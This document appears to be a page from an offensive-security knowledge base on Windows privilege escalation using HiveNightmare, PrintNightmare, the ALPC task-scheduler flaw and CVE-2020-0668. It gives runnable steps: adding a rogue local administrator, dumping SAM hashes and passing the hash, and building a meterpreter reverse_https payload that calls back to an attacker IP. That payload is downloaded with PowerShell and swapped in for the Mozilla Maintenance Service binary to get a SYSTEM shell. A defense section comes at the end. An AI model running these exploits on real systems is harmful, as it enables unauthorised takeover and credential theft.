# Kernel & Privileged-Primitive Exploits
> Escalating by exploiting the OS itself rather than a configuration - confirm the patch gap, then run a public exploit for a known elevation-of-privilege flaw. Covers the missing-patch-to-CVE workflow, the highest-impact logical EoP bugs (HiveNightmare/SeriousSam SAM read, PrintNightmare spooler RCE, the ALPC task-scheduler DACL abuse), and the arbitrary-file-move class (CVE-2020-0668 chained through the Mozilla Maintenance Service) - plus why this is a last-resort, stability-risking, loud option.
import { Aside } from '@astrojs/starlight/components';
## TL;DR
When configuration, tokens, groups, and credentials come up empty, an unpatched host may still be elevated by exploiting a known OS vulnerability. The workflow is always the same: confirm the OS build and missing patches, map a missing KB to a public elevation-of-privilege (EoP) exploit, then run it. Most of the practical wins are **logical** EoP bugs (an ACL mistake, an RPC flaw, a file-move race) rather than memory-corruption kernel exploits - they're reliable and don't risk a bluescreen.
```
# 1. Confirm the patch gap (see Initial enumeration for the full workflow)
systeminfo # OS build + hotfix list → feed to WES-NG / Watson
wmic qfe list brief # applied KBs; look up the newest in the Update Catalog
# 2. Spot-check the signature bugs
icacls C:\Windows\System32\config\SAM # BUILTIN\Users :(RX) → HiveNightmare
Get-Service Spooler # Running → PrintNightmare candidate (local PoC needs no SMB)
# 3. Run the matching public PoC (example: PrintNightmare local admin add)
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!"
```
Success indicator: a SYSTEM shell/session (`whoami` → `nt authority\system`), a new member of `BUILTIN\Administrators`, or offline-crackable local hashes extracted from dumped registry hives.
## When this applies - and why it's last
Exploit-driven escalation is powerful but comes last in the [operational sequence](/codex/windows/privesc/#operational-sequence) for three reasons:
- **It's patch-dependent.** A current host simply isn't vulnerable. Always [enumerate missing patches](/codex/windows/privesc/initial-enumeration/#systeminfo) first - running a CVE PoC blind wastes time and makes noise for nothing.
- **Stability risk.** Memory-corruption kernel exploits (the classic MS-bulletin EoPs) can bluescreen a production host if the build doesn't match exactly. Confirm the target build, and prefer a lab-tested exploit for that precise version. Logical bugs (below) are safe by comparison.
- **It's loud.** PoCs drop files, spawn `cmd`/`powershell` from unusual parents, and often *add an account* - heavily signatured and, for account creation, frequently out of scope. Check the rules of engagement before adding a user.
## Confirming the patch gap
The enumeration side lives in [Initial enumeration](/codex/windows/privesc/initial-enumeration/#systeminfo) - `systeminfo`, `wmic qfe list brief`, and `Get-Hotfix` produce the OS build and the applied-KB list. Feed that to a matcher:
- **[WES-NG](https://github.com/bitsadmin/wesng)** - runs on your attack host; takes `systeminfo` output and lists candidate CVEs with exploit references.
- **[Watson](https://github.com/rasta-mouse/Watson)** - runs on the target; matches missing KBs to known EoPs.
Then sanity-check the newest applied KB in the [Microsoft Update Catalog](https://www.catalog.update.microsoft.com/) to gauge how far behind the host is. A build last patched a year ago is a rich target; a fully current one, skip this whole category.
## Signature logical EoP bugs
These three are worth recognising on sight - all are logical flaws, reliable, and affect huge install bases.
### HiveNightmare / SeriousSam (CVE-2021-36934)
A Windows 10 ACL regression left the registry hives world-readable. Check it directly:
```
icacls C:\Windows\System32\config\SAM
# BUILTIN\Users:(I)(RX) ← vulnerable: any user can read the SAM
```
The live hives are locked, so the exploit reads them from a **Volume Shadow Copy** instead (the ACL bug applies there too) - which means success *requires a shadow copy to exist*. Most Win10 systems with System Protection on have periodic ones. [HiveNightmare](https://github.com/GossiTheDog/HiveNightmare) copies the three hives out:
```
.\HiveNightmare.exe
# Success: SAM / SECURITY / SYSTEM hives written to the CWD as SAM- etc.
```
Pull them to your attack host and extract local hashes with impacket, then pass-the-hash:
```shell
impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local
# Administrator:500:aad3b...:7796ee39...:::
psexec.py administrator@10.0.43.13 -hashes aad3b435b51404eeaad3b435b51404ee:7796ee39fd3a9c3a1844556115ae1a54
```
The hive-to-hashes half is the same flow [Backup Operators](/codex/windows/privesc/backup-operators/) uses with `SeBackup`; HiveNightmare just gets you the hive copies without any privilege. See also [credential hunting](/codex/windows/privesc/credential-hunting/) for stray hive backups in `%WINDIR%\repair\`.
### PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
A flaw in `RpcAddPrinterDriver` let **any authenticated user** install a print driver - which runs as SYSTEM via the Print Spooler - without the `SeLoadDriverPrivilege` the operation is supposed to require (normally held only by admins and [Print Operators](/codex/windows/privesc/other-privileged-groups/#print-operators)). Because the Spooler runs by default on DCs, Win7/10, and many servers, the surface is enormous. Confirm the Spooler is up:
```powershell
Get-Service Spooler # Status "Running" ⇒ exploitable; "Stopped" ⇒ not
# sc query spooler also works. Avoid `ls \\localhost\pipe\spoolss` as the test -
# that UNC path needs the Server service/SMB, so it can fail even when the local
# Spooler is up, falsely ruling out a local PoC that uses no SMB at all.
```
The [calebstewart PowerShell PoC](https://github.com/calebstewart/CVE-2021-1675) does local escalation - by default adding a local admin, or loading a custom DLL for a reverse shell if account creation is out of scope:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
# [+] added user hacker as local administrator
```
The [cube0x0 version](https://github.com/cube0x0/CVE-2021-1675) (modified Impacket + a C# build) handles remote exploitation. Mitigation is registry-driven (`NoWarningNoElevationOnInstall` / `RestrictDriverInstallationToAdministrators`), so a host can be patched yet still misconfigured - and vice versa.
### ALPC task scheduler (CVE-2018-8440)
The task-scheduler ALPC endpoint exposed `SchRpcSetSecurity`, which wrote an arbitrary DACL to `.job` files in `C:\Windows\Tasks`. Chained with a hard link and an XPS print job, it hijacked a DLL loaded by the SYSTEM-context Spooler. It's the archetype of the **arbitrary-DACL / hard-link** class: a SYSTEM service performing a file operation on a path you can redirect.
## The arbitrary-file-move class (CVE-2020-0668)
A broader, recurring pattern: a SYSTEM process can be tricked into *moving or writing* a file to a location you choose, via mount points and symbolic links. CVE-2020-0668 abuses **Windows Service Tracing** - setting a `MaxFileSize` smaller than the current log makes SYSTEM rename the log (to `.OLD`), and that move can be redirected to a target of your choice.
A privileged file move is **not** code execution on its own - you can't overwrite protected Windows binaries, so it must be chained:
- **DLL-load chains** - [UsoDllLoader](https://github.com/itm4n/UsoDllLoader) or [DiagHub](https://github.com/xct/diaghub) force a SYSTEM service to load a DLL you placed. (UsoDllLoader fails if Windows Update is mid-operation; DiagHub isn't always available.)
- **Unprivileged-startable SYSTEM service** - the cleaner route when one exists. The **Mozilla Maintenance Service** runs as SYSTEM, is startable by unprivileged users, and its binary is *not* system-protected:
```
icacls "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
# BUILTIN\Users:(I)(RX) ← can't overwrite yet, but can read/execute
```
Users only have `RX` on that binary, so you can't overwrite it directly - the chain is what makes it possible. Full sequence:
```shell
# 1. Build the payload, and STAGE TWO COPIES - the move in step 3 corrupts the file
# it relocates, so you need a clean second copy to install in step 4.
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe
```
```cmd
:: on the target, pull the payload down twice (clean spare = ...2.exe)
powershell -c "iwr http://10.10.14.3:8080/maintenanceservice.exe -OutFile $env:USERPROFILE\Desktop\maintenanceservice.exe"
powershell -c "copy $env:USERPROFILE\Desktop\maintenanceservice.exe $env:USERPROFILE\Desktop\maintenanceservice2.exe"
:: 2. Run the CVE-2020-0668 PoC (built from the linked repo). Args: source, destination.
:: This is the SYSTEM-performed move that lands your file on the service binary
:: and, as a side effect, leaves YOUR user with (F) on it.
C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
:: 3. icacls now shows :(F) on the binary - overwrite it with the CLEAN spare.
:: copy must run from cmd.exe (not PowerShell), and the name must be exact (drop the "2").
copy /Y C:\Users\student\Desktop\maintenanceservice2.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
:: 4. Start the SYSTEM service (have a multi/handler listening first)
net start MozillaMaintenance
```
The service start returns an error (the payload isn't a real service binary), but the Meterpreter callback fires as `NT AUTHORITY\SYSTEM` before it does. This "privileged write/move → overwrite a SYSTEM-startable binary" shape recurs across many EoP CVEs; recognise it and the specific CVE matters less.
## Defense
- **Patch promptly.** Every exploit here has a fix; the enumeration step only works because hosts fall behind. Prioritise EoP CVEs on multi-user hosts and DCs.
- **HiveNightmare** - apply the fix and remove existing shadow copies that still contain the readable hives (the ACL fix alone doesn't scrub old snapshots).
- **PrintNightmare** - disable the Print Spooler where it isn't needed (especially DCs), and set the `RestrictDriverInstallationToAdministrators` / point-and-print registry values; patch *and* configure, since either alone can leave a gap.
- For the arbitrary-file-move class, binary-ACL hardening is **not** the fix: the move is performed *by SYSTEM*, so it lands even when users have only `RX` on the target. Mitigate the primitive itself - patch the file-move CVE, run services as the least privilege they need (a corrupted non-SYSTEM service yields less), and don't ship SYSTEM services that unprivileged users can start. (Locking directly user-writable service binaries is still worth doing, but that defends the separate [weak-permissions](/codex/windows/privesc/weak-permissions/) class, not this one.)
- Detect: alert on new local-admin accounts, on `cmd`/`powershell` spawned by `spoolsv.exe` or service hosts, and on known PoC filenames/behaviours - though recompiled PoCs defeat signature-only rules.
## Related
- [Initial enumeration](/codex/windows/privesc/initial-enumeration/#systeminfo) - the missing-patch enumeration that feeds this page
- [Backup Operators](/codex/windows/privesc/backup-operators/) - the SAM/SYSTEM-hive-to-hashes flow HiveNightmare plugs into
- [Other privileged groups](/codex/windows/privesc/other-privileged-groups/#print-operators) - Print Operators and the `SeLoadDriverPrivilege` PrintNightmare sidesteps
- [Weak permissions](/codex/windows/privesc/weak-permissions/) - the writable-SYSTEM-binary weakness the file-move class ultimately exploits